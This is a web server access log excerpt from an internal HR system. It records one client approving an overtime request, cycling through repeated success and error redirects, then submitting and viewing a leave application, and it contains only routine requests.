/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:21 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:21 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132731%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132731&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:21 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132731%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132731&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:22 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:23 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:24 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:25 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:25 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:25 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:25 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.153 - - [04/Dec/2025:14:53:41 +0800] "POST /ehr/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:41 +0800] "POST /ehr/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.153 - - [04/Dec/2025:14:53:43 +0800] "POST /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:43 +0800] "POST /ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:53:44 +0800] "GET /ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120410%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:44 +0800] "GET /ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120410%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.153 - - [04/Dec/2025:14:53:57 +0800] "GET /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120410 HTTP/1.1" 200 6612 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120410%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:57 +0800] "GET /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120410 HTTP/1.1" 200 6612 192.168.11.153 - - [04/Dec/2025:14:53:59 +0800] "POST /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120410 HTTP/1.1" 200 150201 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120410" "Mozilla/5.0 (Windows NT 10.0; 